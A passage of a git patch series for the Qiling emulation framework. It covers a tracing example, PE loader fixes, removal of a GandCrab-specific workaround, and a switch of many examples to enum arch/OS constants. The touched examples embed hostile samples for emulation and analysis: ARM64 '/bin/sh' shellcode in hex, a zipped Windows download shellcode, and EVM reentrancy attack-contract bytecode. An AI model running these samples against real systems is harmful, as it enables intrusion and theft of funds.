ql.log.info(f'SetInformationProcess: no implementation for info class {flag:#04x}') + ql.log.info(f'QueryInformationProcess: no implementation for info class {flag:#04x}') return STATUS_UNSUCCESSFUL From 86b8b6fee740f0f868a1698ac2f6fc693ae0d591 Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 29 May 2023 12:09:14 +0300 Subject: [PATCH 086/103] Add tracing example --- examples/extensions/trace/trace.py | 27 +++++++++++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 examples/extensions/trace/trace.py diff --git a/examples/extensions/trace/trace.py b/examples/extensions/trace/trace.py new file mode 100644 index 000000000..2caf7c270 --- /dev/null +++ b/examples/extensions/trace/trace.py @@ -0,0 +1,27 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +from qiling import Qiling +from qiling.const import QL_VERBOSE +from qiling.extensions import trace + +ROOTFS = r'examples/rootfs/x8664_linux' + +if __name__ == '__main__': + # qiling verbosity should be set to DEBUG to show the trace records + ql = Qiling([fr'{ROOTFS}/bin/x8664_hello'], ROOTFS, verbose=QL_VERBOSE.DEBUG) + + # enable full tracing. since full tracing significantly slows down the emulation, + # it may be enabled on demand from a hook, instead + trace.enable_full_trace(ql) + + # sometimes all we need is to see the last operations that led to a crash. the history + # method uses less resources compared to full trace, and emits trace records only when + # a crash occurs. + # + # for example, showing last 32 trace records before the crash: + # trace.enable_history_trace(ql, 32) + + ql.run() From 9a64573f72d384139161f7f7fcdbffcb6e5e5b54 Mon Sep 17 00:00:00 2001 From: clairelevin Date: Thu, 1 Jun 2023 10:28:35 -0400 Subject: [PATCH 087/103] fixed bugs in export table and GetProcAddress --- qiling/loader/pe.py | 3 +++ qiling/os/windows/dlls/kernel32/libloaderapi.py | 4 ---- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/qiling/loader/pe.py b/qiling/loader/pe.py index 724a33a9a..4bf278710 100644 --- a/qiling/loader/pe.py +++ b/qiling/loader/pe.py @@ -553,6 +553,9 @@ def init_exports(self, pe: pefile.PE): # Do a full load if IMAGE_DIRECTORY_ENTRY_EXPORT is present so we can load the exports pe.full_load() + + # check whether loading of export table succeeded + if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): return iat = {} diff --git a/qiling/os/windows/dlls/kernel32/libloaderapi.py b/qiling/os/windows/dlls/kernel32/libloaderapi.py index 29b4ce88f..d7a2b4b3d 100644 --- a/qiling/os/windows/dlls/kernel32/libloaderapi.py +++ b/qiling/os/windows/dlls/kernel32/libloaderapi.py @@ -144,10 +144,6 @@ def hook_GetProcAddress(ql: Qiling, address: int, params): # let log output reflect a human-readable procname params["lpProcName"] = procname - # WORKAROUND for gandcrab - if procname == "RtlComputeCrc32": - return 0 - procname = procname.encode('latin1') else: From 41b3b83bf542593524f38b574bdaa07f13af0baa Mon Sep 17 00:00:00 2001 From: clairelevin Date: Mon, 5 Jun 2023 16:52:37 -0400 Subject: [PATCH 088/103] added comment for export table fix --- qiling/loader/pe.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/qiling/loader/pe.py b/qiling/loader/pe.py index 4bf278710..8fd7dd4ed 100644 --- a/qiling/loader/pe.py +++ b/qiling/loader/pe.py @@ -554,8 +554,9 @@ def init_exports(self, pe: pefile.PE): # Do a full load if IMAGE_DIRECTORY_ENTRY_EXPORT is present so we can load the exports pe.full_load() - # check whether loading of export table succeeded - if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): return + # address corner case for malformed export tables where IMAGE_DIRECTORY_ENTRY_EXPORT exists, but DIRECTORY_ENTRY_EXPORT does not + if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): + return iat = {} From 38a8622f9145a544b21c9e5f720d642a4152479a Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 16 Jun 2023 17:08:27 +0300 Subject: [PATCH 089/103] archtype and ostype no longer support string values --- examples/adcache_x86_windows_debug.py | 4 +- examples/evm/evm_Hexagon_overflow.py | 3 +- examples/evm/evm_debugger.py | 6 ++- examples/evm/evm_reentrancy.py | 3 +- examples/evm/evm_reentrancy_vol.py | 3 +- examples/evm/evm_simple_sc.py | 5 +- examples/evm/fuzzing/underflow_test.py | 4 +- examples/extensions/r2/hello_r2.py | 4 +- examples/fuzzing/stm32f429/fuzz.py | 9 ++-- examples/hello_arm_uboot.py | 4 +- examples/mcu/gd32vf103_blink.py | 5 +- examples/mcu/stm32f407_gpio_hook.py | 3 +- examples/mcu/stm32f407_hack_lock.py | 8 +-- examples/mcu/stm32f407_mnist_oled.py | 4 +- examples/mcu/stm32f411_dma_logger.py | 6 +-- examples/mcu/stm32f411_freertos.py | 6 +-- examples/mcu/stm32f411_gpio_hook.py | 6 +-- examples/mcu/stm32f411_i2c_lcd.py | 4 +- examples/mcu/stm32f411_interact_usart.py | 6 +-- examples/mcu/stm32f411_spi_oled12864.py | 7 +-- qiling/core.py | 19 +++---- qltool | 35 ++++++++++--- tests/test_blob.py | 4 +- tests/test_debugger.py | 4 +- tests/test_elf.py | 4 +- tests/test_evm.py | 7 +-- tests/test_mcu.py | 64 ++++++++++++------------ tests/test_peshellcode.py | 9 ++-- tests/test_r2.py | 4 +- tests/test_shellcode.py | 32 +++++------- 30 files changed, 149 insertions(+), 133 deletions(-) diff --git a/examples/adcache_x86_windows_debug.py b/examples/adcache_x86_windows_debug.py index 49486aeca..b2ddd9f25 100644 --- a/examples/adcache_x86_windows_debug.py +++ b/examples/adcache_x86_windows_debug.py @@ -8,12 +8,12 @@ from zipfile import ZipFile from qiling import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE if __name__ == "__main__": with ZipFile("shellcodes/win32_https_download.zip") as zip_reader: with zip_reader.open('win32_https_download.bin', 'r', b'infected') as f: sc = f.read() - ql = Qiling(code=sc, archtype="x86", ostype="windows", rootfs="rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) + ql = Qiling(code=sc, archtype=QL_ARCH.X86, ostype=QL_OS.WINDOWS, rootfs="rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG) ql.run() diff --git a/examples/evm/evm_Hexagon_overflow.py b/examples/evm/evm_Hexagon_overflow.py index 7bf4f50e0..2dfdcc6e3 100644 --- a/examples/evm/evm_Hexagon_overflow.py +++ b/examples/evm/evm_Hexagon_overflow.py @@ -10,11 +10,12 @@ sys.path.append("../..") from qiling import * +from qiling.const import QL_ARCH def example_run_evm(): contract = '0x606060405266017dfcdece4000600055341561001a57600080fd5b600160a060020a033316600090815260016020526040902066017dfcdece400090556106eb8061004b6000396000f3006060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae57806327edf097146101d6578063313ce567146101ff578063378dc3dc1461021257806342966c681461022557806370a082311461023b578063771282f61461025a57806395d89b411461026d578063a9059cbb14610280578063dd62ed3e146102a2575b600080fd5b34156100d457600080fd5b6100dc6102c7565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a03600435166024356102fe565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6103a4565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356103aa565b34156101e157600080fd5b6101e9610422565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b6101e9610427565b341561021d57600080fd5b61019c61042c565b341561023057600080fd5b610175600435610437565b341561024657600080fd5b61019c600160a060020a03600435166104ea565b341561026557600080fd5b61019c6104fc565b341561027857600080fd5b6100dc610502565b341561028b57600080fd5b610175600160a060020a0360043516602435610539565b34156102ad57600080fd5b61019c600160a060020a036004358116906024351661054f565b60408051908101604052600781527f48657861676f6e00000000000000000000000000000000000000000000000000602082015281565b60008115806103305750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561033b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005490565b600160a060020a03808416600090815260026020908152604080832033909416835292905290812054829010156103e057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052208054839003905561041884848461056c565b5060019392505050565b600281565b600481565b66017dfcdece400081565b600160a060020a0333166000908152600160205260408120548290101561045d57600080fd5b600160a060020a033316600081815260016020526040808220805486900390558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980548601905581548590039091557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60016020526000908152604090205481565b60005481565b60408051908101604052600381527f4858470000000000000000000000000000000000000000000000000000000000602082015281565b600061054633848461056c565b50600192915050565b600260209081526000928352604080842090915290825290205481565b600160a060020a038216151561058157600080fd5b600160a060020a038316600090815260016020526040902054600282019010156105aa57600080fd5b600160a060020a038216600090815260016020526040902054818101116105d057600080fd5b600160a060020a03808416600081815260016020526040808220805460011990879003810190915593861682528082208054860190558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546002908101909155825490940190915590917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5915160ff909116815260200160405180910390a281600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050505600a165627a7a72305820fbef5b10322242b8659b5de8e24ec1cf5e809831f6f7c08e52112f76daa31aef0029' - ql = Qiling(code=contract, archtype="evm") + ql = Qiling(code=contract, archtype=QL_ARCH.EVM) user1 = ql.arch.evm.create_account(balance=100*10**18) user2 = ql.arch.evm.create_account(balance=100*10**18) diff --git a/examples/evm/evm_debugger.py b/examples/evm/evm_debugger.py index 068aedad9..0d593cca7 100644 --- a/examples/evm/evm_debugger.py +++ b/examples/evm/evm_debugger.py @@ -6,11 +6,13 @@ import sys sys.path.append("../..") -from qiling import * +from qiling import Qiling +from qiling.const import QL_ARCH + if __name__ == '__main__': contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' - ql = Qiling(code=contract, archtype="evm") + ql = Qiling(code=contract, archtype=QL_ARCH.EVM) ql.debugger = True # Add Balance Var to the contract diff --git a/examples/evm/evm_reentrancy.py b/examples/evm/evm_reentrancy.py index 8c9259562..73f63237a 100644 --- a/examples/evm/evm_reentrancy.py +++ b/examples/evm/evm_reentrancy.py @@ -10,13 +10,14 @@ from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector from qiling.arch.evm.vm.vm import BaseVM from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS +from qiling.const import QL_ARCH if __name__ == '__main__': # Attack_contract = '0x608060405234801561001057600080fd5b5060405160208061046d83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506103ea806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a723058204ad3139b1085c12112b76e9eab70c6589942d6e84eb3d8329a644eca757c19d00029' Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029' - ql = Qiling(code=Attack_contract, archtype="evm") + ql = Qiling(code=Attack_contract, archtype=QL_ARCH.EVM) vm:BaseVM = ql.arch.evm.vm C1 = b'\xaa' * 20 diff --git a/examples/evm/evm_reentrancy_vol.py b/examples/evm/evm_reentrancy_vol.py index ae732cc25..c7be400c2 100644 --- a/examples/evm/evm_reentrancy_vol.py +++ b/examples/evm/evm_reentrancy_vol.py @@ -10,12 +10,13 @@ from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector from qiling.arch.evm.vm.vm import BaseVM from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS +from qiling.const import QL_ARCH def template(vic_contract, deposit, withdraw): Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029' - ql = Qiling(code=Attack_contract, archtype="evm") + ql = Qiling(code=Attack_contract, archtype=QL_ARCH.EVM) vm:BaseVM = ql.arch.evm.vm C1 = b'\xaa' * 20 diff --git a/examples/evm/evm_simple_sc.py b/examples/evm/evm_simple_sc.py index fc99438cb..54eed51b4 100644 --- a/examples/evm/evm_simple_sc.py +++ b/examples/evm/evm_simple_sc.py @@ -6,13 +6,14 @@ import sys sys.path.append("../..") -from qiling import * +from qiling import Qiling +from qiling.const import QL_ARCH def example_run_evm(): contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' - ql = Qiling(code=contract, archtype="evm") + ql = Qiling(code=contract, archtype=QL_ARCH.EVM) # Add Balance Var to the contract bal = ql.arch.evm.abi.convert(['uint256'], [20]) diff --git a/examples/evm/fuzzing/underflow_test.py b/examples/evm/fuzzing/underflow_test.py index b9ad9a2cc..10fa8ed7e 100644 --- a/examples/evm/fuzzing/underflow_test.py +++ b/examples/evm/fuzzing/underflow_test.py @@ -8,10 +8,12 @@ sys.path.append("../../../..") from qiling import * +from qiling import Qiling +from qiling.const import QL_ARCH def underflow(fuzz_balance): code = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' - ql = Qiling(code=code, archtype="evm") + ql = Qiling(code=code, archtype=QL_ARCH.EVM) # Add Balance Var to the contract bal = ql.arch.evm.abi.convert(['uint256'], [20]) diff --git a/examples/extensions/r2/hello_r2.py b/examples/extensions/r2/hello_r2.py index ebd54c452..e2919da6f 100644 --- a/examples/extensions/r2/hello_r2.py +++ b/examples/extensions/r2/hello_r2.py @@ -7,7 +7,7 @@ sys.path.append('..') from qiling import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.r2 import R2 @@ -43,7 +43,7 @@ def my_sandbox(path, rootfs): # test shellcode mode ARM64_LIN = bytes.fromhex('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800') print("\nLinux ARM 64bit Shellcode") - ql = Qiling(code=ARM64_LIN, archtype="arm64", ostype="linux", verbose=QL_VERBOSE.DEBUG) + ql = Qiling(code=ARM64_LIN, archtype=QL_ARCH.ARM64, ostype=QL_OS.LINUX, verbose=QL_VERBOSE.DEBUG) r2 = R2(ql) # disassemble 32 instructions print(r2._cmd('pd 32')) diff --git a/examples/fuzzing/stm32f429/fuzz.py b/examples/fuzzing/stm32f429/fuzz.py index c4da71397..a2be712e7 100644 --- a/examples/fuzzing/stm32f429/fuzz.py +++ b/examples/fuzzing/stm32f429/fuzz.py @@ -10,7 +10,7 @@ sys.path.append("../../..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.afl import ql_afl_fuzz_custom from qiling.extensions.mcu.stm32f4 import stm32f429 @@ -18,11 +18,8 @@ from unicorn import UC_ERR_OK, UcError def main(input_file: str): - ql = Qiling(["../../rootfs/mcu/stm32f429/bof.elf"], - archtype="cortex_m", - env=stm32f429, - ostype='mcu', - verbose=QL_VERBOSE.DISABLED) + ql = Qiling(["../../rootfs/mcu/stm32f429/bof.elf"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f429, verbose=QL_VERBOSE.DISABLED) ql.hw.create('rcc') ql.hw.create('usart2') diff --git a/examples/hello_arm_uboot.py b/examples/hello_arm_uboot.py index 90087f3d6..0cdb70a2b 100644 --- a/examples/hello_arm_uboot.py +++ b/examples/hello_arm_uboot.py @@ -7,7 +7,7 @@ sys.path.append("..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.os.const import STRING def get_kaimendaji_password(): @@ -60,7 +60,7 @@ def partial_run_init(ql: Qiling): with open("../examples/rootfs/blob/u-boot.bin.img", "rb") as f: uboot_code = f.read() - ql = Qiling(code=uboot_code[0x40:], archtype="arm", ostype="blob", profile="uboot_bin.ql", verbose=QL_VERBOSE.OFF) + ql = Qiling(code=uboot_code[0x40:], archtype=QL_ARCH.ARM, ostype=QL_OS.BLOB, profile="uboot_bin.ql", verbose=QL_VERBOSE.OFF) image_base_addr = ql.loader.load_address ql.hook_address(my_getenv, image_base_addr + 0x13AC0) diff --git a/examples/mcu/gd32vf103_blink.py b/examples/mcu/gd32vf103_blink.py index 003e5a1c5..6ffbaab84 100644 --- a/examples/mcu/gd32vf103_blink.py +++ b/examples/mcu/gd32vf103_blink.py @@ -9,9 +9,10 @@ from qiling.core import Qiling from qiling.const import QL_VERBOSE from qiling.extensions.mcu.gd32vf1 import gd32vf103 +from qiling.const import QL_ARCH, QL_OS -ql = Qiling(['../rootfs/mcu/gd32vf103/blink.hex'], archtype="riscv64", ostype="mcu", - env=gd32vf103, verbose=QL_VERBOSE.DEBUG) +ql = Qiling(['../rootfs/mcu/gd32vf103/blink.hex'], archtype=QL_ARCH.RISCV64, ostype=QL_OS.MCU, + env=gd32vf103, verbose=QL_VERBOSE.DEBUG) ql.hw.create('rcu') ql.hw.create('gpioa').watch() diff --git a/examples/mcu/stm32f407_gpio_hook.py b/examples/mcu/stm32f407_gpio_hook.py index 5d0c9dbe9..e2c845e96 100644 --- a/examples/mcu/stm32f407_gpio_hook.py +++ b/examples/mcu/stm32f407_gpio_hook.py @@ -10,10 +10,11 @@ from qiling.const import QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f407 from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi +from qiling.const import QL_ARCH, QL_OS ql = Qiling(["../rootfs/mcu/stm32f407/ai-sine-test.elf"], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f407, verbose=QL_VERBOSE.DEFAULT) ql.hw.create('rcc') ql.hw.create('pwr') diff --git a/examples/mcu/stm32f407_hack_lock.py b/examples/mcu/stm32f407_hack_lock.py index de41dad44..b6a2bbfc6 100644 --- a/examples/mcu/stm32f407_hack_lock.py +++ b/examples/mcu/stm32f407_hack_lock.py @@ -11,7 +11,7 @@ sys.path.append("../..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f407 @@ -26,9 +26,9 @@ def dicts(): # Cracking the passwd of lock def crack(passwd): - ql = Qiling(["../../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DISABLED) - + ql = Qiling(["../../examples/rootfs/mcu/stm32f407/backdoorlock.hex"], + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f407, verbose=QL_VERBOSE.DISABLED) + ql.hw.create('spi2') ql.hw.create('gpioe') ql.hw.create('gpiof') diff --git a/examples/mcu/stm32f407_mnist_oled.py b/examples/mcu/stm32f407_mnist_oled.py index 6055518d8..bc4eb9b28 100644 --- a/examples/mcu/stm32f407_mnist_oled.py +++ b/examples/mcu/stm32f407_mnist_oled.py @@ -7,13 +7,13 @@ sys.path.append("../..") from qiling.core import Qiling -from qiling.const import QL_VERBOSE +from qiling.const import QL_ARCH, QL_OS, QL_VERBOSE from qiling.extensions.mcu.stm32f4 import stm32f407 from qiling.hw.external_device.oled.ssd1306 import PyGameSSD1306Spi ql = Qiling(["../rootfs/mcu/stm32f407/mnist.bin", 0x8000000], - archtype="cortex_m", ostype="mcu", env=stm32f407, verbose=QL_VERBOSE.DEFAULT) + archtype=QL_ARCH.CORTEX_M, ostype=QL_OS.MCU, env=stm32f407, 